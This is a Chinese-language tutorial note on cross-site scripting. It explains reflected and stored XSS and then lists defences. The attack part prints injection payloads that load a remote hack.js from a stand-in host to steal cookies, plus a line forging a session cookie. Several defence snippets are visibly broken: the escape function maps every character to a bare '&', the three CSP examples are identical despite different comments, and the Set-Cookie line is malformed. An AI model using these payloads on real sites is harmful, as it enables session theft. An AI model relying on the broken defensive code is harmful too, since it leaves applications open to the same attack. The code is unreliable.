定义
- XSS(Cross-Site Scripting)跨站脚本攻击,因为缩写和CSS重叠,所以只能叫XSS。
- 是指向有安全漏洞的web页面或者网站的url运行非法的非本站点HTML标签或JavaScript进行的一种攻击。
影响
- 利用虚假输入表单骗取用户个人信息。
- 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的文童或图片。
危害
- 取页面数据、取Cookies
- 劫持前端逻辑、发送请求
- 偷取网站的任意数据、偷取用户的资料、偷取用户的秘密和登录态、欺骗用户
XSS攻击分类
- 反射型-url参数直接注入
// 普通
http://localhost:3000?from=china
// alert尝试
http://localhost:3000?from=<script>alert(1)</script>
// 获取cookie
http://localhost:3000?from=<script src="http://localhost:4000/hack.js"></script>
// 短域名伪造https://dwz.cn
// 伪造cookie入侵Chrome
document.cookie='kaikeba:sess=eyJlc2VybmFtZS16Imxhb3dhbmciLCJfZXhwaXJ11j04NjQwMDAwMH'
复制网址给吸引人的图片或者文字内容添加链接就能达到目的
- 存储型-存储到DB后读取时注入
<!--评论-->
<script>alert(1)</script>
<!--跨站脚本注入-->
嘿嘿嘿嘿嘿<script src="http://localhost:4000/hack.js"></script>
防范手段
- ejs转义小知识
<% code %> 用于执行其中的JavaScript代码
<%= code %> 会对code进行html转义
<%- code %> 不会进行转义
- HEAD添加头信息
app.use(async (ctx, next) => {
await next()
ctx.set('X-XSS-Protection', 0) // 浏览器默认启用CSS过滤,0是禁止过滤
})
- CSP策略Content-Security-Policy
内容安全策略是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入等攻击。这些攻击可用于实现从数据窈取到网站破坏或作为恶意软件分发版本等用途。
CSP本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少XSS攻击。
Content-Security-Policy:default-src 'self'//只允许加载本站资源
Content-Security-Policy:default-src 'self'//只允许加载https协议图片
Content-Security-Policy:default-src 'self'//不允许加载任何来源框架
- 自定义黑名单进行转义(过滤标签和标签属性,不适用于富文本)
function escape(str) {
str = str.replace(/&/g, '&')
str = str.replace(/</g, '&')
str = str.replace(/>/g, '&')
str = str.replace(/"/g, '&')
str = str.replace(/'/g, '&')
str = str.replace(/`/g, '&')
str = str.replace(/\//g, '&')
return str
}
- 白名单转义(定义不过滤的标签和标签属性),由于规则比较多,一般引入xss库
const xss = require('xss')
const content = xss('<div id="title">xss demo</div><script>alert(1)</script>')
- Httponly Cookie
这是预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置 cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意 javascript窃取,保护用户 cookie信息。
response.addHeader("Set-Cookie",uid=112: Path=/Httponly)